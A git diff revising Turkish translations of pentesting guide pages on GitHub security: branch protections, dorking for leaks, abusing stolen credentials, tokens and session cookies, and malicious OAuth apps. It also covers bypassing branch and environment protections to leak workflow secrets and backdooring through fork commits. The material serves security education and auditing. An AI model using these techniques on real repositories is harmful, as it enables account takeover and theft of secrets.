Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, bazı dallara kod yazabilmek için **birkaç koruma yöntemi koymaktır**.
Bir deponun **dal korumaları** _https://localhost:3000/\/\/settings/branches_ adresinde bulunabilir.
> [!NOTE]
-> **Organizasyon düzeyinde bir dal koruması ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir.
+> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir.
Bir dala (örneğin master'a) farklı korumalar uygulanabilir:
- **Push'i Devre Dışı Bırak**: Hiç kimse bu dala push yapamaz.
- **Push'i Etkinleştir**: Erişimi olan herkes push yapabilir, ancak zorla push yapamaz.
- **Beyaz Liste Kısıtlı Push**: Sadece seçilen kullanıcılar/takımlar bu dala push yapabilir (ancak zorla push yok).
-- **Birleştirme Beyaz Listesini Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir.
-- **Durum kontrollerini etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir.
-- **Onayları gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir.
+- **Beyaz Liste Birleştirmeyi Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir.
+- **Durum Kontrollerini Etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir.
+- **Onayları Gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir.
- **Onayları beyaz listeye kısıtla**: PR'leri onaylayabilecek kullanıcıları/takımları belirtir.
- **Reddedilen incelemelerde birleştirmeyi engelle**: Değişiklik talep edilirse, birleştirilemez (diğer kontroller geçse bile).
- **Resmi inceleme taleplerinde birleştirmeyi engelle**: Resmi inceleme talepleri varsa, birleştirilemez.
- **Eski onayları geçersiz kıl**: Yeni commitler olduğunda, eski onaylar geçersiz kılınır.
- **İmzalı Commitleri Gerektir**: Commitler imzalanmalıdır.
-- **Pull request güncel değilse birleştirmeyi engelle**
+- **Pull request güncel değilse birleştirmeyi engelle**.
- **Korunan/Korunmayan dosya desenleri**: Değişikliklere karşı korumak/kaldırmak için dosya desenlerini belirtir.
> [!NOTE]
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 5189b89d4..44755dae4 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -20,13 +20,13 @@ Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir.
- **Dahili** demek, **sadece** **şirket** üyelerinin (bir şirketin birden fazla kuruluşu olabilir) erişebileceği anlamına gelir.
- **Kamuya açık** demek, **tüm internet** erişebilecek demektir.
-**Hedef almak istediğiniz kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz.
+Eğer hedef almak istediğiniz **kullanıcı, depo veya kuruluşu** biliyorsanız, **duyarlı bilgileri bulmak** veya **her depoda duyarlı bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz.
### Github Dorks
-Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dork ile hedefinizdeki **potansiyel hassas bilgileri** kolayca arayabilirsiniz.
+Github, **bir kullanıcı, depo veya kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, duyarlı bilgilerin yakınında görünecek bir dizi dize ile hedefinizde **potansiyel duyarlı bilgileri kolayca arayabilirsiniz**.
-Araçlar (her araç kendi dork listesini içerir):
+Araçlar (her araç kendi dork listesine sahiptir):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
@@ -34,9 +34,9 @@ Araçlar (her araç kendi dork listesini içerir):
### Github Sızıntıları
-Lütfen, github dorklarının sızıntıları aramak için de kullanılabileceğini unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil).
+Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, **her depoyu indirip içlerinde duyarlı bilgileri arayacak** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil).
-Araçlar (her araç kendi regex listesini içerir):
+Araçlar (her araç kendi regex listesine sahiptir):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -51,11 +51,11 @@ Araçlar (her araç kendi regex listesini içerir):
### Harici Forklar
-**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bununla ilgili daha fazla bilgi aşağıda**](./#execution-from-a-external-fork).
+**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için genellikle Github Actions yaml yapılandırmalarını okumanız gerekir. [**Bu konuda daha fazla bilgi aşağıda**](./#execution-from-a-external-fork).
### Silinmiş/Dahili Forklarda Github Sızıntıları
-Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin:
+Silinmiş veya dahili olsa bile, github depolarının forklarından duyarlı verileri elde etmek mümkün olabilir. Buradan kontrol edin:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -67,25 +67,25 @@ accessible-deleted-data-in-github.md
Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vardır. Bunlar `https://github.com/organizations//settings/member_privileges` sayfasından veya [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) üzerinden kontrol edilebilir.
-- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Okuma/yazma/Yönetici izinlerine sahip olacaktır. Tavsiye edilen **None** veya **Okuma**dır.
+- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Read/write/Admin iznine sahip olacaktır. Tavsiye edilen **None** veya **Read**'dir.
- **Depo fork'lama**: Gerekli değilse, üyelerin kuruluş depolarını fork'lamalarına **izin vermemek** daha iyidir.
- **Sayfa oluşturma**: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına **izin vermemek** daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz.
-- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim için GitHub veya OAuth uygulamalarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir.
+- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir.
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
-- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **yönetici** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun.
+- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **admin** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun.
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
-- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **yönetici** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır.
+- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **admin** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır.
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
-- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı bırakılması daha iyidir.
+- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **ekipler** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni ekipler oluşturabilir. Bunun devre dışı olması daha iyidir.
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha çok güvenlikle ilgilidir.
### Eylem Ayarları
-`https://github.com/organizations//settings/actions` sayfasından eylemler için çeşitli güvenlikle ilgili ayarlar yapılandırılabilir.
+Eylemler için birkaç güvenlikle ilgili ayar, `https://github.com/organizations//settings/actions` sayfasından yapılandırılabilir.
> [!NOTE]
-> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın.
+> Tüm bu yapılandırmaların her deponun bağımsız olarak da ayarlanabileceğini unutmayın.
- **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
@@ -93,7 +93,7 @@ Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vard
- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
- **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır.
- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
-- **İş akışı izinleri**: **Sadece okuma depo izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermekten kaçınılması önerilir.
+- **İş akışı izinleri**: **Sadece okuma deposu izinleri vermek** kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request oluşturma/onaylama izinleri vermek tavsiye edilmez.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Entegrasyonlar
@@ -101,7 +101,7 @@ Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vard
_Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!_
- **Üçüncü taraf uygulama erişim politikası**: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra).
-- **Yüklenmiş GitHub Uygulamaları**: Sadece gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir.
+- **Yüklenmiş GitHub Uygulamaları**: Yalnızca gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir.
## Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar
@@ -109,12 +109,12 @@ Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağı
### Kullanıcı Kimlik Bilgileri ile
-Bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer bir ham üye iseniz, ham üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz.
+Eğer bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, **giriş yapabilir** ve hangi **şirket ve kuruluş rollerine sahip olduğunuzu** kontrol edebilirsiniz, eğer sıradan bir üyeseniz, sıradan üyelerin hangi **izinlere sahip olduğunu**, hangi **gruplarda** olduğunuzu, hangi **izinlere sahip olduğunuzu** ve **depoların nasıl korunduğunu** kontrol edebilirsiniz.
**2FA'nın kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
> [!NOTE]
-> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz**.
+> Eğer **`user_session` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) **kullanıcıyı tamamen taklit edebilirsiniz**; kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan.
Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass) hakkında kontrol edin, faydalı olabilir.
@@ -122,7 +122,7 @@ Aşağıdaki bölümde [**dal koruma atlamaları**](./#branch-protection-bypass)
Github, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına olanak tanır (2FA uygulanmaz).
-Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler** yapabilirsiniz, ancak bunu github api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**:
+Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **depolar üzerinde değişiklikler yapabilirsiniz**, ancak bunu github api'ye erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için **yerel ayarları listeleyebilirsiniz**:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -130,7 +130,7 @@ git config --list
```
Eğer kullanıcı adını github kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
-**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğuna dair bilgi verecektir.
+**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
#### GPG Anahtarları
@@ -142,7 +142,7 @@ gpg --list-secret-keys --keyid-format=long
```
### Kullanıcı Tokeni ile
-[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-github-information.md#personal-access-tokens) için bir giriş.
+[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#personal-access-tokens) bir giriş için.
Bir kullanıcı tokeni, HTTPS üzerinden Git için **şifre yerine** kullanılabilir veya [**API'ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için**](https://docs.github.com/v3/auth/#basic-authentication) kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz.
@@ -150,21 +150,21 @@ Bir Kullanıcı tokeni şöyle görünür: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0d
### Oauth Uygulaması ile
-[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#oauth-applications) için bir giriş.
+[**Github Oauth Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#oauth-applications) bir giriş için.
-Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
+Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
Bir Oauth uygulamasının talep edebileceği [kapsamlar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) bunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz.
-Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
+Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
### Github Uygulaması ile
-[**Github Uygulamaları hakkında temel bilgileri kontrol edin**](basic-github-information.md#github-applications) için bir giriş.
+[**Github Uygulamaları hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#github-applications) bir giriş için.
-Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir.
+Bir saldırgan, muhtemelen bir kimlik avı kampanyasının parçası olarak kullanıcıların kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Github Uygulaması** oluşturabilir.
-Ayrıca, temel bilgilerin açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
+Ayrıca, temel bilgilerde açıklandığı gibi, **kuruluşlar üçüncü taraf uygulamalara** kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
## Github Eylemini Ele Geçirme ve Kötüye Kullanma
@@ -176,31 +176,31 @@ abusing-github-actions/
## Dal Koruma Atlatma
-- **Bir dizi onay gerektir**: Eğer birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. Eğer PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, eğer repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz.
+- **Onay sayısını gerektir**: Birkaç hesabı ele geçirdiyseniz, diğer hesaplardan PR'lerinizi kabul edebilirsiniz. PR'yi oluşturduğunuz hesaba sahipseniz, kendi PR'nizi kabul edemezsiniz. Ancak, repo içinde bir **Github Eylemi** ortamına erişiminiz varsa, **GITHUB_TOKEN** kullanarak **PR'nizi onaylayabilir** ve bu şekilde 1 onay alabilirsiniz.
- _Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR'lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, PR'lerinizi kabul etmek için bunu kötüye kullanabilirsiniz._
-- **Yeni commitler gönderildiğinde onayları iptal et**: Eğer bu ayarlanmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz.
-- **Kod Sahiplerinden inceleme gerektir**: Eğer bu etkinleştirildiyse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**.
-- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında **Kod Sahipleri koruması uygulanmaz.**
-- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlayabilirsiniz.
-- **Yönetici dahil et**: Eğer bu ayarlanmadıysa ve repo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz.
-- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirebilir, sonuçta oluşan PR'yi kendiniz onaylayabilir ve her şeyi birleştirebilirsiniz.**
-- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz.
-- **Push korumalarını atlama**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir).
-- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod push yapmanıza izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod push **github eylemini tetikleyecektir**.
+- **Yeni commitler gönderildiğinde onayları iptal et**: Bu ayar yapılmamışsa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz.
+- **Kod Sahiplerinden inceleme gerektir**: Bu etkinleştirilmişse ve bir Kod Sahibiyseniz, **bir Github Eylemi PR'nizi oluşturabilir ve ardından kendiniz onaylayabilirsiniz**.
+- Bir **CODEOWNER dosyası yanlış yapılandırıldığında** Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırılmışsa **Kod Sahipleri koruması uygulanmaz.**
+- **Belirtilen aktörlerin pull request gereksinimlerini atlatmasına izin ver**: Eğer bu aktörlerden biriyseniz, pull request korumalarını atlatabilirsiniz.
+- **Yönetici dahil et**: Bu ayar yapılmamışsa ve repo yöneticisiyseniz, bu dal korumalarını atlatabilirsiniz.
+- **PR Ele Geçirme**: Başkasının PR'sini **kötü niyetli kod ekleyerek değiştirme**, sonuçta oluşan PR'yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz.
+- **Dal Koruma Kaldırma**: Eğer bir **repo yöneticisiyseniz, korumaları devre dışı bırakabilir**, PR'nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz.
+- **Push korumalarını atlatma**: Eğer bir repo **sadece belirli kullanıcıların** dallarda push (kod birleştirme) göndermesine izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter `*` kullanıyor olabilir).
+- Eğer **repo üzerinde yazma erişiminiz varsa ama dal koruması nedeniyle kod göndermeye izin verilmiyorsa**, yine de **yeni bir dal oluşturabilir** ve içinde **kod gönderildiğinde tetiklenen bir github eylemi oluşturabilirsiniz**. **Dal koruması dal oluşturulana kadar koruma sağlamayacağından**, bu dal üzerindeki ilk kod gönderimi **github eylemini tetikleyecektir**.
-## Ortam Koruma Atlatma
+## Ortam Korumasını Atlatma
-[**Github Ortamı hakkında temel bilgileri kontrol edin**](basic-github-information.md#git-environments) için bir giriş.
+[**Github Ortamı hakkında temel bilgileri kontrol etmek için**](basic-github-information.md#git-environments) bir giriş için.
-Eğer bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz).
+Bir ortam **tüm dallardan erişilebiliyorsa**, **korunmuyor** demektir ve ortam içindeki gizli bilgilere kolayca erişebilirsiniz. Tüm dalların **korunduğu** (isimlerini belirterek veya `*` kullanarak) repolar bulabileceğinizi unutmayın; bu senaryoda, **kod gönderebileceğiniz bir dal bulun** ve yeni bir github eylemi oluşturarak gizli bilgileri **sızdırabilirsiniz** (veya birini değiştirebilirsiniz).
-Unutmayın, **tüm dalların korunduğu** (joker karakter `*` ile) bir kenar durumu bulabilirsiniz; burada **dallara kimin kod gönderebileceği** belirtilmiştir (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.**
+Tüm dalların **korunduğu** (joker karakter `*` ile) ve **dallara kimin kod gönderebileceğinin belirtildiği** bir kenar durumu bulabileceğinizi unutmayın (_bunu dal korumasında belirtebilirsiniz_) ve **kullanıcınıza izin verilmez**. Yine de özel bir github eylemi çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde push tetikleyicisini kullanabilirsiniz. **Dal koruması yeni bir dalda push'a izin verir, bu nedenle github eylemi tetiklenecektir.**
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
-Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacaktır** ve bunu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız.
+Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak** ve onu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız.
## Süreklilik
@@ -216,9 +216,9 @@ Not edin ki **dal oluşturulduktan sonra** **dal koruması yeni dala uygulanacak
### Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı
-Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda fork versiyonu için bir **taahhüt** kimliği oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**.
+Github'da **bir fork'tan bir repo için PR oluşturmak** mümkündür. PR **kabul edilse bile**, orijinal repoda bir **taahhüt** kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan **görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir**.
-[**şu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi:
+[**bu**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e) gibi:
```yaml
name: example
on: [push]
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 9572fa5b9..612252aaf 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,8 +1,8 @@
-# Abusing Github Actions
+# Github Actions'ı Kötüye Kullanma
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
Bu sayfada şunları bulacaksınız:
@@ -12,13 +12,13 @@ Bu sayfada şunları bulacaksınız:
- **Pull request** ile ilgili tetikleyicileri kötüye kullanmak
- **Diğer dış erişim** tekniklerini kötüye kullanmak
- Zaten ele geçirilmiş bir repodan **pivotlama**
-- Son olarak, **içeriden bir action'ı kötüye kullanma sonrası teknikleri** hakkında bir bölüm (belirtilen etkileri oluşturur)
+- Son olarak, **içeriden bir action'ı kötüye kullanma** ile ilgili **post-exploitation teknikleri** hakkında bir bölüm (belirtilen etkileri sağlamak için)
-## Impacts Summary
+## Etkilerin Özeti
[**Github Actions hakkında temel bilgileri kontrol edin**](../basic-github-information.md#github-actions) için bir giriş.
-Eğer bir **repository** içinde **rastgele kod çalıştırabiliyorsanız**, şunları yapabilirsiniz:
+Eğer bir **repository** içinde **arbitrary code** çalıştırabiliyorsanız, şunları yapabilirsiniz:
- Pipeline'a monte edilmiş **gizli bilgileri çalmak** ve **pipeline'ın ayrıcalıklarını kötüye kullanarak** AWS ve GCP gibi dış platformlara yetkisiz erişim sağlamak.
- **Dağıtımları tehlikeye atmak** ve diğer **artifaktları**.
@@ -32,12 +32,12 @@ Bu "**gizli**" ( `${{ secrets.GITHUB_TOKEN }}` ve `${{ github.token }}`'den gele
-Bu token, bir **Github Uygulaması tarafından kullanılacak** olan aynı token'dır, böylece aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Bu token, bir **Github Uygulaması'nın kullanacağı** aynı token'dır, bu nedenle aynı uç noktalara erişebilir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine olanak tanıyan [**bir akış**](https://github.com/github/roadmap/issues/74) yayınlamalıdır.
+> Github, `GITHUB_TOKEN` kullanarak bir repo'nun diğer iç repolara erişmesine izin veren bir [**flow**](https://github.com/github/roadmap/issues/74) yayınlamalıdır.
